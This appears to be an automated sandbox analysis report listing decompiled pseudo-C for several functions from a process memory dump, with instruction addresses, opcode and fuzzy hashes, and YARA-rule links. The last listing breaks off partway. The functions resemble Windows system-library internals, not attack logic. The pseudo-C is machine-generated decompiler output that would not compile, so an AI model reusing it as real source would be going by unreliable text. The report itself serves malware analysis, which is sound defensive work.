Uniqueness Score: -1.00%

Function 046FC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E046FC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E046A9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E046A95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E046A95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E046A95D0();
				return L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x046fc458
0x046fc45d
0x046fc466
0x046fc468
0x046fc469
0x046fc46a
0x046fc46b
0x046fc46e
0x046fc46f
0x046fc471
0x046fc476
0x046fc476
0x046fc47c
0x046fc47e
0x046fc480
0x046fc480
0x046fc483
0x046fc484
0x046fc486
0x046fc488
0x046fc48f
0x046fc491
0x046fc493
0x046fc493
0x046fc48f
0x046fc498
0x046fc49e
0x046fc4ad
0x046fc4ad
0x046fc4b2
0x046fc4b4
0x046fc4cd

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 3d39b9f500ed7d9fa8fae9caf0e5a5c657b0ea75fc311e63df419b1f6db833da
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 8301B971140A09BFE711AF65CC80E62FB7DFF54355F104529F25442664E731FCA4CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 04669080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E04669080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x47585ec;
				E04682280(_t48, 0x47585ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E0467FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x475538c; // 0x77ad6888
					if( *_t84 != 0x4755388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x473f6e8);
						E046BD0E8(0x47585ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E047388F5(_t80, _t85, 0x4755388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x47586c0; // 0x26e07b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x47586b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E04682280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E047388F5(0x47585ec, _t85, 0x4755388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E046AAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x475b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x47584c0;
																			if(_t82 >=  *0x47584c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E04739063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E0466922A(_t99);
										_t64 = E04687D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E04738B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x47586c0; // 0x26e07b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x47586b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x47586bc;
													_t87 = 0x47586b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E04669240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x47586c4;
												_t87 = 0x47586c0;
												L27:
												E04699B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E046BD130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x4755388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x475538c = _t51;
						goto L6;
					}
				}
			}

0x04669082
0x04669083
0x04669084
0x04669085
0x04669087
0x04669096
0x04669098
0x04669098
0x0466909e
0x046690a8
0x046690e7
0x046690e7
0x046690aa
0x046690b0
0x046690b7
0x046690bd
0x046690dd
0x046690e6
0x046690bf
0x046690bf
0x046690c7
0x046690cf
0x046690f1
0x046690f2
0x046690f4
0x046690f5
0x046690f6
0x046690f7
0x046690f8
0x046690f9
0x046690fa
0x046690fb
0x046690fc
0x046690fd
0x046690fe
0x046690ff
0x04669100
0x04669102
0x04669107
0x0466910c
0x04669110
0x04669113
0x04669115
0x04669136
0x0466913f
0x04669143
0x046c37e4
0x046c37e4
0x04669117
0x04669117
0x0466911d
0x00000000
0x0466911f
0x0466911f
0x04669125
0x00000000
0x04669127
0x0466912d
0x04669130
0x04669134
0x04669158
0x0466915d
0x04669161
0x04669168
0x046c3715
0x0466916e
0x0466916e
0x04669175
0x04669177
0x0466917e
0x0466917f
0x04669182
0x04669182
0x04669187
0x04669187
0x0466918a
0x0466918d
0x0466918f
0x04669192
0x04669195
0x04669198
0x04669198
0x04669198
0x0466919a
0x00000000
0x00000000
0x046c371f
0x046c3721
0x046c3727
0x046c372f
0x046c3733
0x046c3735
0x046c3738
0x046c373b
0x046c373d
0x046c3740
0x00000000
0x046c3746
0x046c3746
0x046c3749
0x00000000
0x046c374f
0x046c374f
0x046c3751
0x046c3757
0x046c3759
0x046c375c
0x046c375c
0x046c375e
0x046c375e
0x046c3761
0x046c3764
0x00000000
0x00000000
0x046c3766
0x046c3768
0x046c37a3
0x046c37a3
0x046c37a5
0x046c37a7
0x046c37ad
0x046c37b0
0x046c37b2
0x046c37bc
0x046c37c2
0x046c37c2
0x046c37b2
0x04669187
0x04669187
0x0466918a
0x0466918d
0x0466918f
0x04669192
0x04669195
0x00000000
0x04669195
0x00000000
0x046c376a
0x046c376a
0x046c376a
0x046c376c
0x046c376c
0x046c376f
0x046c3775
0x00000000
0x00000000
0x046c3777
0x046c3779
0x046c3782
0x046c3787
0x046c3789
0x046c3790
0x046c3790
0x046c378b
0x046c378b
0x046c378b
0x046c3792
0x046c3795
0x00000000
0x046c3795
0x00000000
0x046c3779
0x046c3798
0x00000000
0x046c3798
0x00000000
0x046c3768
0x046c379b
0x046c379b
0x046c3751
0x046c3749
0x00000000
0x046c3740
0x046691a0
0x046691a3
0x046691a9
0x046691b0
0x00000000
0x046691b0
0x04669187
0x046691b4
0x046691b4
0x046691bb
0x046691c0
0x046691c5
0x046691c7
0x046c37da
0x046691cd
0x046691cd
0x046691cd
0x046691d2
0x046691d5
0x04669239
0x04669239
0x046691d7
0x046691db
0x046691e1
0x046691e7
0x046691fd
0x04669203
0x0466921e
0x04669223
0x00000000
0x04669205
0x04669205
0x04669208
0x0466920c
0x04669214
0x04669214
0x0466920c
0x046691e9
0x046691e9
0x046691ee
0x046691f3
0x046691f3
0x046691f3
0x046691e7
0x00000000
0x00000000
0x00000000
0x04669134
0x04669125
0x0466911d
0x0466914e
0x046690d1
0x046690d1
0x046690d3
0x046690d6
0x046690d8
0x00000000
0x046690d8
0x046690cf

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d929c04f43340dd59bbb20398b6b4934d70d3613352614885d2d343bc4ef77
Instruction ID: 9062179e9596a05089aa054b848440a24aa3d3f24b069b08195e2cb19456c834
Opcode Fuzzy Hash: 13d929c04f43340dd59bbb20398b6b4934d70d3613352614885d2d343bc4ef77
Instruction Fuzzy Hash: 2D01A4B26016049FE3159F14D840B1177A9EB45328F25406EE9069F7A1E7B4FC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04734015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E04734015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E04682280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E04682280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x47586ac);
					E0466F900(0x47586d4, _t28);
					E0467FFB0(0x47586ac, _t28, 0x47586ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E0467FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x0473401a
0x0473401e
0x04734023
0x04734028
0x04734029
0x0473402b
0x0473402f
0x04734043
0x04734046
0x04734051
0x04734057
0x0473405f
0x04734062
0x04734067
0x0473406f
0x0473407c
0x0473407c
0x0473408c
0x0473408c
0x04734097

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c9e275f89f1839d375ce8708b947dc8ec70893e7d45dfb075e4b92155259df9
Instruction ID: 1463e07f7d14f61901d55cd58ed7bdc9e581ea5ac950967087eb437af912d758
Opcode Fuzzy Hash: 2c9e275f89f1839d375ce8708b947dc8ec70893e7d45dfb075e4b92155259df9
Instruction Fuzzy Hash: 76018471241545BFE315BF79CD80E13B7ACEB45668B00076DF50887A22EB64FC11C6E8

Uniqueness

Uniqueness Score: -1.00%

Function 047214FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E047214FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x475d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E046AFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E04687D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x047214fb
0x047214fb
0x0472150a
0x04721514
0x04721519
0x0472151b
0x04721526
0x0472152c
0x04721534
0x04721537
0x0472153a
0x04721545
0x04721557
0x04721547
0x04721550
0x04721550
0x04721562
0x04721563
0x04721565
0x0472156a
0x0472157f

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503aac839e2709eabf82cc4ac4622969ddbbd1a22e1b2e0390a705ef90e1eb38
Instruction ID: ebfad7275293c441e5390746e86addbcf83e5787959e8c319c3da0ee13e014a9
Opcode Fuzzy Hash: 503aac839e2709eabf82cc4ac4622969ddbbd1a22e1b2e0390a705ef90e1eb38
Instruction Fuzzy Hash: AA019271A00258EFDB14DFA9D841EAEB7B8EF44700F40405AF914EB380E674EE10CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0472138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0472138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x475d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E046AFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E04687D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0472138a
0x0472138a
0x04721399
0x047213a3
0x047213a8
0x047213aa
0x047213b5
0x047213bb
0x047213c3
0x047213c6
0x047213c9
0x047213d4
0x047213e6
0x047213d6
0x047213df
0x047213df
0x047213f1
0x047213f2
0x047213f4
0x047213f9
0x0472140e

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0640d3744ed4e0d33faf721d3246f467546f4dbbbc8d1b0d24cb0ee083f36d1a
Instruction ID: b242e2a15bd0e879eb06c218af1b1603f695da13bde787a22a8969f5e616a2be
Opcode Fuzzy Hash: 0640d3744ed4e0d33faf721d3246f467546f4dbbbc8d1b0d24cb0ee083f36d1a
Instruction Fuzzy Hash: 18019271A00258AFDB14DFA9D941EAEB7B8EF44700F40405AB900EB381E674AE10CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046658EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E046658EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x475d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x4645c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E04665943() != 0 &&  *0x4755320 > 5) {
					E046E7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E046E7B5E( &_v28, _t28);
					_t11 = E046E7B9C(0x4755320, 0x464bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E046AB640(_t11, _t17, _v8 ^ _t29, 0x464bf15, _t27, _t28);
			}

0x046658fb
0x046658fe
0x04665906
0x0466590a
0x0466593c
0x0466593c
0x0466590c
0x0466590c
0x04665911
0x00000000
0x04665913
0x04665913
0x04665913
0x04665911
0x0466591d
0x046c1035
0x046c103c
0x046c103f
0x046c1056
0x046c1056
0x0466593b

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4e6e69dcaf84860d8936cf4c0482cdc24ee2f024d145e75d7ebfc62e7111303
Instruction ID: 710e98dbba32e202514cc0195c5de51672f62bfa19bf5b12f28ac958041b5340
Opcode Fuzzy Hash: c4e6e69dcaf84860d8936cf4c0482cdc24ee2f024d145e75d7ebfc62e7111303
Instruction Fuzzy Hash: D501D431B00544ABE714DE29E8019BE77ACEB80224F8441AD980BAB244FE60FD02C654

Uniqueness

Uniqueness Score: -1.00%

Function 0471FE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0471FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x475d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E046AFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E04687D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0471fe3f
0x0471fe3f
0x0471fe4e
0x0471fe58
0x0471fe5d
0x0471fe5f
0x0471fe6a
0x0471fe72
0x0471fe75
0x0471fe78
0x0471fe83
0x0471fe95
0x0471fe85
0x0471fe8e
0x0471fe8e
0x0471fea0
0x0471fea1
0x0471fea3
0x0471fea8
0x0471febd

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e9c9e10687e301ee94227c00149ebf38d9dab5ea3c4fc92b7dd6a9bf1ad8de
Instruction ID: 13b811aad87ca6f886fde6f676e5e8e75e460c2d26a478fe50f02a5459b1d454
Opcode Fuzzy Hash: b5e9c9e10687e301ee94227c00149ebf38d9dab5ea3c4fc92b7dd6a9bf1ad8de
Instruction Fuzzy Hash: 1D018471E00258ABDB14DFA9D845FAEB7B8EF44704F00406AF900AB391EA74AD11CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0471FEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0471FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x475d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E046AFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E04687D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0471fec0
0x0471fec0
0x0471fecf
0x0471fed9
0x0471fede
0x0471fee0
0x0471feeb
0x0471fef3
0x0471fef6
0x0471fef9
0x0471ff04
0x0471ff16
0x0471ff06
0x0471ff0f
0x0471ff0f
0x0471ff21
0x0471ff22
0x0471ff24
0x0471ff29
0x0471ff3e

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a918481e1dba36822ba7c3844e0ed21db3355ccfde5aa9f64d0d05820746da
Instruction ID: 5160b0afe3b7c48b3c5f2db8b3b52ee38abe4e5ebd3bf953fd3e67119af53ae7
Opcode Fuzzy Hash: f6a918481e1dba36822ba7c3844e0ed21db3355ccfde5aa9f64d0d05820746da
Instruction Fuzzy Hash: 9F018871E00618ABD714DBA9D845FAEB7B8EF45704F04406AF9009B390E974AD11CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04731074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04731074(intOrPtr __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E0473165E(__ebx, 0x4758ae4, (__edx -  *0x4758b04 >> 0x14) + (__edx -  *0x4758b04 >> 0x14), __edi, __ecx, (__edx -  *0x4758b04 >> 0x14) + (__edx -  *0x4758b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E0472AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E04687D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0471FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x04731074
0x04731080
0x04731082
0x0473108a
0x0473108f
0x04731093
0x047310ab
0x047310ab
0x047310c3
0x047310cf
0x047310e1
0x047310d1
0x047310da
0x047310da
0x047310e9
0x047310f5
0x047310f5
0x047310fe

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd103e516cafb284120b992c8403b56aaf71b428fcd2358402f36c4df61733d3
Instruction ID: 60c362d01700b5d34d154db3c0df6aade6f6edf41397786746d0fbd4b36c002a
Opcode Fuzzy Hash: cd103e516cafb284120b992c8403b56aaf71b428fcd2358402f36c4df61733d3
Instruction Fuzzy Hash: 09012472604745DBD710EB68C944B1AB7E9EB84315F04CA2AF88593391EE74F851CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0467B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0467B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E04687D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E046E7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x0467b037
0x0467b039
0x0467b03b
0x0467b040
0x046ca60e
0x00000000
